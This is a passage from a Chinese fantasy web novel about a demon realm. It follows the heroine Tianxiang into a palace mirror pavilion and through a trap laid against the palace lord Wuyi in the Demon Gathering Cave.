“是。”天香站他右侧,将茶具一一摆好,端起茶杯放在他面前。一切做完,她正欲离开。
衍决垂眸轻笑发话,“坐。”
天香心中苦恼,实在不明白对方意图,但衍决已经开口,她又不敢不从。
奇怪的是面对她,衍决此刻就像换了一幅面孔似的。
她放下托盘,慢吞吞挪动步子,在他身侧坐下。
他就坐在她身旁,这是她第一次近距离看他,玉面无暇,消瘦下巴,长睫纤密。面带笑意,整个人散发温和气质,白衣有几分缥缈之意。
发觉她在看他,衍决眸光微动。喝了一口茶汤,微微一笑摇头,“原来,你不会煮这种茶。”
天香面色泛红,难为情的低垂下头。她只会一点煮茶皮毛,自然没见过这等灵物,只祈祷对方不要太过为难她。
衍决见她沉默,也不恼,长眸仍是温和,“无碍,是他们没有和你交代。”
天香微瞪双眼,城主竟然不多追究,心终于放下,惊讶又欣喜,只觉得他果然似传闻中那般谦和。
但他接下去说的话,却让她心中一骇。
“你好不好奇,姻缘石上的那些记忆?”他声音淡淡,听不出情绪。
天香面色一变,心底惊惶,像心中秘密被人发现。
一年前,她在天璇宗主峰上看到的那些记忆片段,确实像一个谜团萦绕心间。
此间她也曾向无奕透露过这件事,但他只是摇摇头表示自己也没有头绪,她便不再追问。
衍决忽然提起这件事,她虽然很想知道答案,但不明白对方心思,话题还是不要过多深入为妙。
半晌,她轻声道:“回城主,那些事情,我都忘记了。”
衍决眸中深邃,又绽开一个笑容,耐心解释,“那日你们在天璇宗上发生的,我用术法看见了,自然知晓你的事。”
“我没有恶意,虽然我与无奕是敌对双方,但魔君之位自然靠实力获得,与此事无关。只是看你手背那道红痕,想必是煮茶分神,不忍见美人苦恼,好心提点几句。”
天香怔住,看衍决一眼,见他眸色温润纯净,不似作假。
城主大人不计较她犯下的错误,还好心解答她困扰多时的疑惑,她却不识好歹,甚至不愿说句真话。
“对,对不起......”天香忙道歉,竟是她多心。
衍决却仍是温和面孔,开门见山道:“你与无奕旧相识,碧岚宫中有一座烟启阁,里面有解答你疑惑的东西。”
“烟启阁?”不知是不是她的错觉,天香忽然觉得他的眼神有些奇怪,似很高兴。
“凭借无奕和你的关系,你去烟启阁很简单,我还有事,先走了。”衍决嘴角露出若有若无的笑意。
他说完便不再停留,起身吩咐门外那名侍从付帐。
“是,是!”那名侍从忽的被叫到,简直如蒙大赦,照吩咐做完,笑着便迎了上去,随衍决一同离开。
待至香溢斋门口,四下无人,暗处出现两名弟子。
衍决淡淡吩咐,“有一只通体漆黑的猫妖,名乌星。你派人向他放出消息,烟启阁中有秘宝,可提修为。”
那二人点头退下。
而天香仍是呆坐在原地,思考衍决的话,直到斋主出现。
“坐在这里发呆,工钱你不要了?”斋主满脸阴沉。
糟糕!她早已忘记要去碧岚宫送点心,后厨早就做好了。
看着一脸怒意的斋主,天香歉意笑笑一跃而起,忙接过食盒,飞速向外跑去。
......
远在千里之外,观澜阁主殿旁的耳房之中。
一名年纪不小的老太太,正微微岣嵝着身子,拄着一柄黑桃木蛇杖,面上几道深深皱纹,忽的见到来人,忙堆积起讨好的笑,双目却流露出难掩的精光。
她便是聚妖洞首领,妙阴姥姥。
妖是魔界低等的存在,妖族为了生存,群居于聚妖洞。
聚妖洞臣服于转轮城,今日衍决召她有事,但妖族势弱,所以她没有资格进主殿,只得在耳房静候。
衍决大多时候都是白衣素素,玉面无暇,不爱显露锋芒,阁中异宝却是不少,就连耳房角落随便一盆棕竹都是蕴灵仙草,若是卖了可抵聚妖洞两月开支。
他看着妙阴,轻笑开口,“今日后,转轮城辖境百余个秘境,可带你的弟子选其三而入,所得凭本事。”
妙阴姥姥一愣,朝衍决平行一礼。上来就是天大的好处,她心中惊讶,城主今日怎么了?
三个先天秘境,这是非常不错的条件,欣喜同时忐忑,不知城主大人要她办什么事情。
“召你仓促,是请你布置一番,聚妖洞中就有贵客来访。”
妙阴姥姥低着头,实在听不出话中深意,“城主的意思是,请来雷城主吗?”
衍决面上带笑,声音却听不出情绪,“不止,还有碧岚宫主。”
他看似毫无波澜,其实身上带着些森寒之意。
妙阴安静的听着,原来衍决指的是碧岚主无奕。看来是请她提前布设陷阱,困住碧岚宫主,若是此事成功,便可将主动权掌握在他自己手里。
二来也
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可以将雷城主一并控制,一石二鸟,达成他一统魔界的目的。
可是,她聚妖洞的实力并不拔尖,两人又皆非凡人,什么厉害的阵法可以将他们一起困住呢?若是让她拼上性命,则万万不可能。
再说她只不过是转轮城辖境边界的小型势力,碧岚宫也不是好惹的,若是此战失败呢?岂不是以后会找聚妖洞的麻烦。
她只想借衍决势力保全聚妖洞,并不想作赔本买卖。
妙阴边听边眼珠子急转,心里盘算,“但要困住这两人,聚妖洞是心有余而力不足啊。虽然先天秘境难得,但......”
她正察言观色,衍决却半天不曾表态。他城府深,难保是故意想看她煎熬才这么做的。
妙阴轻微蹙眉,可惜聚妖洞本就依附转轮城而活,她纵使心有不满,也只能憋着。
许久,衍决忽的绽开一个笑,眼角微微上挑,“靠你聚妖洞的力量自然是不够。”
身旁弟子送上法宝三相眼,法力催动可布置三相阵。妙阴姥姥凝望这件法宝出神。
“事成之后,再许你十件上品妖修灵宝。”他白衣飘动,转身离开,背影似谪仙缥缈。
但是三相阵是仙界的术法,这等阵术威力不凡,将那几人困住绰绰有余。只是不知仙界法宝怎会在衍决手中......
不过,这也不是她该问的。
衍决本人虽离开,其下高阶弟子却还在她身旁默默站着,若是她拿走这件法宝后,反阴衍决一招,独吞法宝逃离,恐怕她也没什么好下场。
不光如此,聚妖洞中数万妖修弟子也要跟着一起遭殃。
但有这件仙族法宝,加上十件上品妖修灵宝的奖励,她倒是可以冒险试上一试。
良久,妙阴姥姥才朝衍决消失方向行礼,“是,城主大人。”
......
天香正在碧岚宫路上走,望着远处花海,心旷神怡。
碧岚宫离香溢斋不远,内部却是很大。她自宫门进入,一路去无梦花海,还要走很长一段距离。
碧岚宫之所以叫这个名字,是因为有一片无梦花海开满碧花。这地方和天璇宗不同,少几分清雅多了华美。
这种花没有绿叶,芯子是粉的,向外是淡淡绿色花瓣。一朵迭着一朵,层层叠叠。花枝舒展旺盛,肆意又美艳。
花海中间有一片湖泊,澄澈而清朗,湖面映射出摇曳的碧花,偶尔略过一两只飞蝶。
隔着湖泊,可以看到远处半山腰上的烟启阁。天香听说其中有一面浮华幻镜,是不可多得的稀世法宝,但她从没有见过。
天香刚走到花海边缘,几名侍从便忙上前接过点心盒,笑着尊敬称呼她,“上宾,交给我就好。”
她与无奕关系匪浅,虽不是碧岚宫弟子,众人却都对她很尊敬。天香将食盒递出去,见一个看着几分眼熟的人站在远处。
那人是个身材有些高大的壮汉,脸上一道醒目刀疤划过整张脸,到这里天香已不再疑惑,确信了对方身份。
“贾大哥,许久未见,你怎么在这里?”天香上前。
31. 第 31 章
贾勉闻言转身,眼中惊讶,“天香,这么巧。我是碧岚宫弟子,自然在此处。”
天香一愣,没想到贾大哥昔日与她同为帮工,如今却摇身一变成了碧岚宫弟子。
她上下打量他几眼,见他身上的弟子服,纹饰碧花赫然醒目,却与旁人不同,外边描了一圈金丝。
“你不是仰慕平等王雷大人吗?”
他面上有丝不自然一闪而过,但很快掩去,“碧岚宫愿意收我,便不想错过机会。”
“原来是这样。”天香点了点头,贾大哥资质好,之前听闻他想谋求更好的发展,入碧岚宫便于修炼,也颇有益处。
再说了,就算他想去平等王手底下,也不一定能如愿。如今老朋友再见,她倒是可以时不时来碧岚宫找他说话。
其实当初无奕也邀请她入碧岚宫,但她境界太低,还不适合许多深奥功法,此事就先搁置下来。
她与贾勉攀谈,却听到远处传来争执声。
“宫主三思,收服聚妖洞一事,孤身前往万一落入圈套。”赤地长老摇了摇头。
天香话听一半,正似懂非懂,却见贾勉上前插话,“带太多人去劳师动众,况且人多目标大,人少反而可以奇袭,余下弟子也可以保证碧岚宫安全。”
“寻常鲜少表态的贾护法,怎么对此事这般上心?”赤地眯起双眼。
天香心底一惊,原来贾大哥不仅拜入碧岚宫,还已经身居高位,任护法一职,难怪方才他的服饰花纹独有金丝细描。
贾勉脸色一变,但仍是继续道:“碧岚宫刚站稳脚跟,自然要走稳棋。”
赤地长老似笑非笑,“我看你是别有用心。”
他几人言语锋利,都暗藏玄机。天香只是在一旁安静听着,没有插嘴。
旁人都听得出来,赤地长老与贾护法针锋相对。
赤地长老不乏支持者,但贾护法在碧岚宫危机时曾有贡献,累积不少声望,所以也有一些弟子附和他。
无奕站在远处,从这个角度只见半张侧脸,华服美冠,冷若冰霜的气质,与在天璇宗的时候稍有不同,如今他境界难敛,魔息外放,整个人似有淡淡光华,皮肤更显通透。
“行了,你们都退下。”他沉默半晌,忽的淡淡开口。
那几人争论不休,但见无奕面色,只得闭嘴告退。
天香默默听了几句,心想又是碧岚宫内部的事,她既然不是宫中弟子,也不便参与,她也该回去了。
她转身走出去没几步,却被无奕叫住。
“你留下。”
天香微微一滞,走了回来。
“再近些。”他声音淡淡,放软几分。
她又走近几步,耳根泛红。方才弟子们都在,她自然不会刻意上前,像赶着贴他。如今只有他们两人,便可以靠近一些。
他微微低头,搂在她的腰上,正色道:“你身上有碧花香,不要在花海呆太久,此花阻碍修行。”
她惊觉自己竟一直盯着他看,不由也是无措,忙别开眼。
他还是从前那样,若不是眸色柔光带些人气,看这张冷面几乎错认为画中仙人。
天香芙面微红,点了点头,“知道了。”
碧花虽美,香味却有毒,可在身体里堆积,境界高的修士不在乎这个,她这般锻体境却是需要注意的。
此事他早就叮嘱过,但路过花海,她还是忍不住驻足。
他这也离得太近了,呼吸轻轻拂过她耳际,好像羽毛,又似花瓣,被风吹落,痒痒的落进衣领里……
天香发现他紧紧搂住自己,贴身传来浑厚魔息已将异毒清除。
她心头一颤,推了推他,小声道:“你的事忙完了?”
无奕眉眼温柔,细细观察她的表情,“嗯。方才,你和贾勉在说什么?”
天香闻言一愣,没想到他会问这个,“没什么,我和他是以前共事的香溢斋帮工,老朋友相见,闲聊了几句。”
他露出一抹笑意,手在她脸颊轻轻滑动,又亲了额头两下,低笑道:“嗯,明日我去聚妖洞一趟,你若有事,随时找我。”
天香这才想起,原来那几名弟子争论的便是收服聚妖洞一事,他这就要离开碧岚宫,去往那里。
她面上一热,有些羞赧,“好。”
他的手轻轻扶住她腰,缓缓咬住她耳垂。她身体忍不住迎合,手臂环在他颈上。
她身上热意更甚,这般和他贴近,实在有些难为情。
“光天化日……”
无奕慢慢收紧手臂,眸中燃起欲色。
片刻后,他却缓缓松开手,像是不得不打断,语气有些无奈。
“有人来寻你了,去吧。”
无奕放开她,长袖轻拂,转身便离开。
天香知道他是有别的事要忙,但温暖的怀抱忽的放开,就像被撩拨之后,已经情动,又忽的被浇盆冷水。
她一时间没反应过来,边思考他话中意思,还有些恍惚。
乌星忽的从角落里跳出来,边招手轻声喊:“小香姐姐,快过来!”
“乌星!那日天璇宗一别后,你去了哪里?”天香展开笑颜走过去。
她险些以为自己看错了,竟然能在这里遇到他,还以为他离开了香溢斋,二人就再也见不到面。
乌星吸吸鼻子,毫无叙旧的打算,好像有别的重要事情要说,他悄悄靠近,神秘道。
“我掌握了妖族的化形术,修炼却再次受阻,听说,寻找秘宝可以破阻。而我打听到,碧岚宫里有秘宝。”
原来是为了这件事找她。
天香有点无语,碧岚宫是魔族大派,根基牢固,当然有不少秘宝,但他又如何取走?
她捏捏眉心:“你这笨蛋,秘宝都是自己从各处搜寻,你怎么找人家门派里来?”
乌星不服气:“门派里怎么了,只要能偷来,就是我的东西。”
她摇摇头不愿争论:“碧岚宫里四处是高手,你要是能悄无声息偷走秘宝,也不必修炼了。”
乌星却眼珠子一转,笑嘻嘻道:“那不是有小香姐姐你嘛,听闻烟启阁内有一面幻镜,我想去里面看看。”
天香这才明白他打的什么注意,原来是看着她与无奕的这层关系。<
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p>但她也得按规矩办事,带他偷盗这等事情是万万干不出来的。
她摇了摇头:“不行,烟启阁是重地,门外有弟子把守,连我也无法轻易入内。”
乌星露出失望之色,有但仍是哄诱道:“你不肯带我去,是怕被他怪罪?但这面镜子能看到人的前世,很有意思。”
天香怔了怔,忽的再度想起衍诀的话,烟启阁中有能看清她记忆的东西。
她果然露出一副为难的表情,乌星嘴角轻轻勾起。
有戏!
其实别说乌星了,她自己来碧岚宫数次,烟启阁也是从未踏足。
传闻,里面有一面巨大的浮华幻镜,若是有机会,她也想见一见。
一年前,天璇宗主峰上,她在姻缘石中看到的模糊片段,说不定能够得以解答。
她有无奕的偏爱,可以在碧岚宫自由出入,去烟启阁自然可以,但现在,她要带上乌星......
“我没空与你纠缠,要回香溢斋去了。”她来回思索,还是决定拒绝。
乌星这般随性,只按自己章法行事,万一带他去幻镜里闯了祸,该如何是好。
还是别做这种冒险的事。
他慌了,忙拦住她,焦急的与她对视:“哎,我什么也不要,就看一眼,看一眼也不行吗?”
“就只是看一眼!”他继续喊道,试图挽留天香。
她耳根子软,乌星再三要求,已经不好意思拒绝,再加上她也很想看一看那面镜子。
她和乌星一起进去,如果发生什么事,也有个照应,想来应该没那么严重。
天香沉默许久,才深深吐出一口气:“好吧。”
......
烟启阁坐落在半山腰上的迷雾深处,由于鲜少有人踏足,有些年久失修。
天香虽常出入碧岚宫,烟启阁却是从未来过,只见两名弟子驻守门前,先向她行礼,又对乌星身份疑惑。
了解来意后,一人神色间犹豫,“烟启阁是碧岚宫重地,只有天香上宾一人能进。”
天香干咳一声,“他是我的朋友。”
这句话行不通,那人刚想继续反驳,另一人却按住他的手,摇摇头松口。
“无妨,神剑已经不再保管此处。”
他们说的神剑应该是昆仑雪,自从无奕接任宫主,这把剑自然就物归原主了。
既然神剑不再保管在烟启阁,这里也就只剩一面镜子。
天香本以为此行八成行不通,谁知两位驻守商量片刻,竟然点了点头,放他们通行。
两名弟子将他们迎入阁内,乌星忍不住露出一个得意洋洋的笑容,天香却是心里打着鼓。
本以为会被拒绝,竟然进去了,现在只盼乌星别捅出篓子。
阁内幽静,四壁平整,连同天花板皆是一块白玉雕凿,光滑平整。
地面上嵌着一面幻镜,白雾升腾。
乌星心情大好,露出一个狡黠表情,“这面幻镜灵息氤氲,里面一定有秘宝!”
天香好气又好笑,明明说好了,不乱拿东西,只是看一眼,他转头便忘了。
32. 第 32 章
可她还未来得及出言训斥乌星,就被那面幻镜吸引了。
阁楼分明不大,地上的幻镜却好似无边,向远处蔓延。迷雾交错,中央是她孤零零站着的身影。
乌星不知何时凑上来,“据说,进入镜子就可以看到前世,小香姐姐,这里好不好玩?”
天香没有回答,却微微皱眉,“我们说好的,不能乱碰。”
只怕他见了这等上古神器,心中喜悦,难以自持,早将承诺抛的一干二净了。
或许是因为有人拜访,忽然,他们脚下的白雾向边缘散去,镜子竟然完整的显露出来。
此刻看的更为清晰,镜中倒映出四周的白玉,镜面上有隐隐淡白微光。只多看了一眼,再抬眸,阁楼四周白玉壁连同天花板,仿佛就被消融一般,顷刻不见。
浮华幻镜像是水中投入一颗石子,无端泛起涟漪,待到平稳才清晰可见,镜中不知何时出现一只发簪。
那只发簪精致小巧,看着并非凡物,顶端是两朵重瓣金莲,看起来仙气飘飘。
出口消失了,只剩下一面偌大漫无边际水镜,竟有些诡异。
天香见光景变换,迅速拿出流云紫纹笛,不知这面镜子到底有什么功效,先防备为妙。
乌星只露出玩乐调皮的模样,“不用担心,贾大哥跟我说,这面镜子是仙界之物,通灵爱生,不会随便伤人。”
他见天香丝毫不搭理,只是攥紧笛子,不由得噘嘴,“小香姐姐,这把笛子是哪里来的?”
有一件事情他一直没有和天香说,一年前在天璇宗上,他才刚化形,那时不会任何妖修术法。
在那之后,他回到魔界四处游历,渐渐妖息觉醒,才发现自己除了能闻出不同人的味道,还能洞察人心之所想。
这就是为何他总是能轻易进出各种秘密场所,因为能及时感知危险。
而此刻,他强烈的感受到,小香姐姐是如此珍贵这只笛子。
天香神色不虞,悄然转移了话题,“既然是仙界之物,又如何断定不会伤害我等妖修?”
乌星见天香并不回答,有些赌气,把头偏向一边,低着头不知在想什么。
天香觉得凭他二人修为,实在应付不了这面镜子,方才出口已经消失,再待下去,突生变故无法自保,不宜久留。
她神色略带严肃,“好了,镜子你也看到了,我们离开吧。”
乌星却并不回答,眼中闪烁一丝失望神色,顿了顿,忽的看紧机会,从天香手中一把夺过了流云紫纹笛。
天香一下子瞪大眼睛,吃惊的看着他,“你还我笛子!”
乌星挑了挑眉毛,“小香姐姐,你为何如此宝贝这只笛子?”
他夺过笛子,手中把玩,只觉得平平无奇,也不是什么罕见的仙宝。但见小香姐姐如此在乎,便生了捉弄心思,他挠了挠头。
乌星跑到不远处,就要将笛子插入镜面。
他原本只是想摸一摸这只泛着紫光的仙笛,却不知小香姐姐如此宝贝,让他心中莫名有些低落。
“不还,你若不说谁送你的,我就把笛子丢进幻镜。”
不知为何,此刻他比平时无端执拗些。
天香心底一惊,若被插入镜中,笛子不知去向,她便要跳入水镜找寻,到时候惹出一堆麻烦,说不定还会被无奕发现。
她终于开口回答,“这把笛子是无奕送我的......”
乌星毫不意外,眼中一闪而过委屈之色,但还是笑笑,“好,既然小香姐姐这么喜欢这把笛子。”
他将笛子递回,当然不会将笛子插入水镜,只是吓一吓人罢了。
谁知镜子忽然迸发出一道白光,险些将流云紫纹笛吞没,天香忙接过笛子,自己反而被那道白光淹没。
天香骇然,又避不开这道光,透过朦胧光线中,仿佛看见一个熟悉的身影悄然出现。
像是一身淡青衣衫,长袖飘然,只是一瞬他就消失了,再一眨眼,镜中那只发簪已失去踪影。
天香揉了揉眼,几乎以为自己看错了,若不是空中残余一丝那人带来的棠花香。
乌星也被光芒刺的遮住眼,想伸手抓住天香,逐渐却什么也看不见。再度睁眼时,天香竟完好无损的站在面前。
“咦?”乌星露出不可思议的神情。
但却不是因为天香无碍,而是那只笛子险些坠入幻境中时,他竟看见了一些无奕的记忆。
原来因为这只笛子来自无奕,所以镜子也呈现出原主的记忆。
恐怕因为他拥有洞察的特殊能力,才能在镜中看到不属于自己的记忆。
另一边,天香更是不解,方才她以为自己就要坠落水镜之中,不由得紧张,只是手中攥紧紫纹笛。
心中又想起那只奇怪发簪的事,但乌星没有注意到,她便压下疑惑,也不提了。
乌星虽然与天香修为相仿,却比天香有更多阅历,这些年在外面,也曾听过不少传闻。
他思索半晌,得出结论,“据说,启动这面镜子需要大量法力,以我们的境界恐怕不行。”
如此说来,正是因为法力不够,水镜才没有启动吞没她。他二人方才沉浸于镜中世界,未曾注意门口驻守弟子已经进入阁内。
原来是幻镜迸发出剧烈白光,引得他们注意。他二人将幻镜破除,天香、乌星这才终于看见了阁门入口。
他们二人被驻守弟子带出烟启阁。
两名弟子颇有责怪之意,此处重地,本不该放天香带着其他人入内,谁知二人还启动了幻镜,险些掉入其中。
若是酿成大祸,他二人也脱不开干系,自是摆了摆手,将天香、乌星轰走。
乌星有些歉意,“方才是我鲁莽了,不该夺笛,误惹幻镜变动。”
天香却并不怪他,摇了摇头,“没关系,你我二人无碍便是万幸。”
她已经原谅他,乌星也就不多说了,只是他依旧愧疚。二人随山路而下,直到一旁再不见驻守弟子,便到了无梦花海。
乌星平日里都是兴致勃勃的与她闲聊,今日反而走在她后头,有些缓慢,天香从未见过他这么心事重重的样子。
料想是还在为烟启阁中的事情自责,天香看他一眼,微微一笑,“你这些年跑了很多地方,见识不少,那你知道为什么此地碧花这么多吗?”
天香确实不知道,碧花是魔界特有而非碧岚宫特有,在其他地方也能见到,不过没有像这片花海一般这么多。
乌星抬起脑袋,似是很惊讶,“自然知道,小香姐姐,你不知道碧花是魔修死后结魂种所化吗?”
天香静静看他半晌,见他不像开玩笑,一时震惊,“啊......
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”
“上古仙魔大战时魔族死伤无数,魔修死后不入轮回,只有一颗魂种能结出碧花,无梦花海以前是古战场,所以才开出一片碧花海。”乌星悄然靠近天香,低声道。
天香楞了楞神,没想到这些花开的茂盛娇艳、肆意昂扬,几乎要溢出路旁,竟然是都是魔修死后所化。
碧花性烈如火,不但可以制丹药,其香味也能激发修士的体质潜力,但本身是有微毒的。不过对境界高的人,这点毒轻而易举便能化解。
“没想到碧岚宫当年死了这么多魔族。”虽说她没有参与战斗,但到碧花成海,也难免触动。
乌星见天香心中很是难过,不由得叹气,吞吞吐吐,“小香姐姐,我要走了。”
“你要去哪里?”天香有些意外。
“去其他地方探探秘宝,我化作原形,便不容易被他人发现。”说着他就要离开。
其实他很贪玩,曾经还未化形,便只得呆在香溢斋,如今便可以自由出入各处。但不知为何,他总想和天香多呆一会。
可是见天香如此宝贝那只笛子,他便有些无端难捱,只想离开。
乌星忽的想起方才他在镜中看见的属于无奕的记忆。
镜中出现一个女子,似是无奕心爱之人,却来自仙族,可见无奕心中并没有小香姐姐。
可他却还在纠缠小香姐姐。到底是什么让他能一直这样?他真的是真心实意地护着她吗?
那只无奕送她的笛子,她还生怕自己将它弄丢......
乌星心中不由得涌起一股不满。
但幻境可以唤醒人的记忆,若是让无奕也去一趟烟启阁,让他想起自己真正心爱之人。
从此无奕就会疏远她,小香姐姐是不是就能重新和自己玩了。
乌星思量许久,嘴上却什么也没说。
他不舍的望着天香,终于是化作一只黑猫,跳上檐角消失。
天香望着他远去身影,不知不觉,在那里站了很久。
方才在烟启阁中的幻镜异象,不知到底是受了什么东西牵动,但她站在镜子上时,却隐约有种熟悉感。
还有那只奇怪的发簪,和没有看清的人影。
再联系起一年前,天璇宗上通过姻缘石看到的画面,让人不得不生起股探究欲。
无奕说,若是有事可以找他。浮华幻镜所需法力高深,她无法催动这面镜子,想必他一定可以。
听闻他去了聚妖洞,她曾去过那里,对路自然熟悉。
天香传音斋主今日请假,便只身去往聚妖洞。
妖修天生命格残缺修为上限低,大量弱小的妖族为了生存,这才创立聚妖洞。
此刻,一座伸手不见五指的洞中,仅有微弱烛光,溶顶滴落一颗水珠,啪嗒落在一汪坑洼水窝中,妖息氤氲,像有小妖隐匿暗处。
这便是聚妖洞。
聚妖洞是一大片连接的小型溶洞,总共三百八十一洞,路线错综复杂,洞内昏暗仅沿途烛光照明。
这也是聚妖洞的生存手段之一,这等地形,外人来犯,需得先绕上一绕,一时半会根本找不到出路。
但最中间的主洞却是天光敞亮,顶上的石壁开了一个大口。
妙阴正借仙族法宝布下三相法阵,静候无奕踏入圈套。
......
33. 第 33 章
次日,无奕只带了几名碧岚宫弟子,独自一人走在前面,身后是一众碧岚宫弟子。
他只觉额间有些发痛。
昨日他正独自修行,忽的见一只黑猫出现在屋内。
正是天香的朋友,乌星。这只黑猫,他在天璇宗第一次见到的时候,就觉得表面单纯,实则暗藏心思。
那时候黑猫妖出现在天璇宗,他必然不会纵容。
如今却世事变迁,他和天香都回到魔界,好在那猫妖没有害她的意思,他也就睁一只眼闭一只眼,放任在碧岚宫进出了。
只是这只黑猫妖,精明的很,又很讨厌他,今日主动找上他来,却不知为何。
无奕仍闭着眼修炼,面无表情。
“浮华幻镜可以恢复人记忆。”
他充耳不闻,那猫妖却看着他,没有过多停留,留下一句便消失了。
无奕早就知道浮华幻境可以看见人前世记忆,只是他并不在乎那些。
天香陪在他身边,他心里便安定几分,那些前世虚无缥缈的事情,有什么紧要吗?
但此刻这只猫妖特地找他,只为说这件事,他却不由得起疑。
他顿了顿,才睁开眼,转身便往烟启阁走。
......
不觉间他出神已久,已在洞内绕过无数道弯。
他并不知道聚妖洞通往主洞的路,但这是一场衍决布下的鸿门宴,就等他赴宴,那还需要找主洞吗?
果然,一层迷雾散开后,光亮乍现在眼前。
前方的石壁忽然虚化,无奕直直撞了进去,才发现弟子都被隔离在外,内部别有洞天。
洞中顶部有一束天光泄落下来,妙阴姥姥独自站在正中,身后一众妖修弟子。
她自然不会让聚妖洞弟子与她一同留下,否则一眼便知埋伏,应当先藏于侧洞。
妙阴姥姥沉声吩咐,“小殷,你与小遥带领一众弟子离开主洞,在其余侧洞躲避,见机行事。”
小殷、小遥是她捡的一对姐妹双生子妖修,分别任左右护法,自然由她们带领弟子。
妙阴姥姥自小把她们养在身边,两人性子谨慎,办事沉稳,如今也都长成大姑娘。
小殷忽的行礼,脸色有些苍白,“我愿追随洞主,请姥姥让小殷留下!”
她心中忐忑,若是姥姥出了什么事,拼死也要与碧岚宫魔修同归于尽。
妙阴姥姥拄拐敲地,威严又不失慈善,轻轻摇头,“不论人手还是实力,双方相去甚远,不可莽撞。记住,你只要护住一众弟子,便算对得起我。”
小遥垂着头,只是静静听着,一脸肃然,心中暗想。
如今境地,传闻碧岚宫主无奕前来收服聚妖洞,以他们的实力,恐怕抵不过碧岚宫。
但聚妖洞如今由转轮城管辖,他不可能不出手,若是放任不管,肯定有什么别的打算,说不定,这件事就是衍决那个魔头安排的。
可恨她无能为力,境界区区炼骨,若是再强大些,就可以保全聚妖洞,不再受那些魔修左右。
妖修在魔界生存艰难,或许聚妖洞本就是一个随时可以抛弃的存在吧,她攥紧双手……
她想到的,姐姐小殷又何尝想不到。
洞口坑洼处积蓄的一摊水上,不知何时已覆上薄薄一层冰霜。
妙阴姥姥催促道:“快走,他来了。”
小殷咬了咬嘴唇,无奈化作轻叹一口,“好,姥姥千万小心……”
她们正与一众妖修弟子离开,不消片刻,无奕便踏入主洞。
妙阴姥姥自然知道他为什么而来,主洞里空荡荡,只剩她一人。
无奕脸色冷淡:“只有你一个人,雷行和衍诀呢?”
妙阴姥姥并不答话,她蛇杖幻化出实形,吐着信子喷出紫雾妖息,赫然是一条巨大蛇蟒。
昆仑雪出鞘,飞快就逼近至眼前,空中即刻夹杂霜气。
无奕杀意凌冽扑面,她拼尽全力抵挡,可惜妖雾凝成的九尺蛇身,如风中残烛般在风雪剑意中顷刻湮灭。
妙阴姥姥闪到石壁边,一个闪身,躲过锐利剑锋。寒意直逼她颜面,她身法不够灵活,虽避开此招,但被碎石砸倒左脚。
她不敢停留,拖着伤脚瘸腿前行。
谁能想到,她聚妖洞主三千岁妖修,境界却只有初涉养神。
碧岚宫弟子的最低修为门槛是藏胎,她连当个外门弟子都不够格。
但妙阴能聚集一众妖族合力齐心,实力却是不容小觑。
妙阴姥姥靠着蛇杖,顺势斜斜一倒,敌我差距太大,她嘴角已沁出血丝。
她仍是笑道:“碧岚宫主说笑了,聚妖洞自然只有我妙阴,雷大人与衍大人的行踪,我并不知晓。”
以前便琢磨不透,如今无奕的境界,她更看不清,合上双眼,闭息止伤。
她并不害怕,因为,一切都在她意料之中。
衍决独自一人,洞中光线昏暗,照在他脸上,半明半暗。
他反将手燃流火照明熄灭,掌心那只重瓣莲花簪在黑暗中散发淡淡流光。
他凝望着,怅然出神。
据摩妙所说,这是幻镜最初主人遗留的仙宝,有凝固魂魄的功效。他便设计,借那只花妖之手开启烟启阁,既可以骗过无奕,又能偷拿走这只发簪,用来加固摩妙残魄。
却不想取发簪之时,他清晰看见,那只花妖竟然引得幻镜波动,不知何故。
但他还有更重要的事做,他微皱眉头,压下心头疑云翻涌,将发簪收起来,向聚妖洞而去。
......
此刻,聚妖洞中正是战况紧迫。
妙阴姥姥终于不在掩藏,邪笑着扭动佝偻身躯,用蛇杖轻点右侧石壁某处三下。
此战她必败,只要让无奕踩上阵眼,便已足够。
本只有一束天光的洞中,忽的涌起一座大阵,白光闪现。
阵法上端浮现一张仙子面孔,先是微笑,而后嗔怒,最后悲悯,三相合一消失空中。
三相化一道白光,飞速冲向无奕。
白光化雾,笼罩于他。白雾笼罩之处,身上脉息仿佛封闭一般,施展不出任何法术。
阵法已启动,妙阴的任务已经完成,她趁着不注意,悄然退场。
无奕怔住,果然有陷阱,看来贾勉有问题。
这阵法他认识,是仙族术法,三相阵。
但三相阵除了阵石外还需要大量法力催动,以妙阴的修为,远远不够。到底是谁在暗处催阵……
无奕见妙阴要逃离,他不会让她如愿,抬息跃出阵中,一剑横在妙阴脖子上。
他微微蹙眉,看不出情绪,“你的盟友就要死了,还不出手相救?”
如今妙阴逃不出三相阵,要么停止阵法,要
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么他二人同归于尽。
但阵法白光并未消散,反而渐渐增强。
妙阴姥姥仰着脖颈,不得动弹,浑身一怔,脸色顿时有些难看。
雷行早有准备,出现在洞中角落,反不停止,继续催动阵法。
平等城主雷行大笑,“连三相阵都挡不住威力,昆仑雪不愧是上古神器。”
他丝毫不提停阵法救妙阴一事,心中只想的不能让无奕再找到机会。这把剑本来是他的,若不是被碧岚宫施计夺取,谁知无奕回归……
可恨,如今想要坐上魔君位置难上加难。
三相阵白芒更盛,不但压制无奕,连带压制着妙阴姥姥。
妙阴低声道:“雷大人这是要把聚妖洞当弃子。”
雷行对她的话充耳不闻,此刻正是除去无奕的大好时机,只要把他们二人一同困在三相阵里,哪怕无奕能活下来,也是元气大伤,到时候自己杀死他岂不简单。
至于妙阴,只能怪她自己掉以轻心。
雷行笑容莫名,“此事是衍决让你办的,如今他还未现身,想必他已算到,这就是你的结局。”
妙阴姥姥咬牙切齿,这帮魔修果然一副德行,欺软怕硬、冷血无情。若不是妖族命格天生修境艰难,她死也不与这帮混蛋为伍。
决不能死在这里,她袖中捏决,就要召唤弟子。
衍决一身淡青衣衫,身姿缥缈,轻逸出尘,面如白玉无瑕。忽的现身暗处,慢慢走出。
无奕一双眼中有不耐神色,“怎么妙阴正要鱼死网破,你就出现,不想舍弃这颗棋子了?”
衍决唇角勾起一抹笑意,凤眸流转,却有一丝睥睨,“我只是去取个东西,晚来一步,怎么会干出自断盟友的事呢?”
妙阴姥姥怔住,又停下动作。
衍决声音仍是温和,“就算碧岚宫主回归,修习了人族术法,如何保证对魔族忠心,也不适合再当魔君,我无意与众城主相争,依我看,雷兄既然也能操控昆仑雪,更合适坐这个位子。”他笑得十分宽和,但言外之意却叫人惊心。
雷行闻言欣喜大笑,手中操控三相阵,“无奕,你一对三毫无胜算,不要挣扎了。”
妙阴姥姥眸带深意,却是不发话。
......
天香来到聚妖洞,本以为门口弟子会拦着不放她,谁知今日却没有驻守弟子。
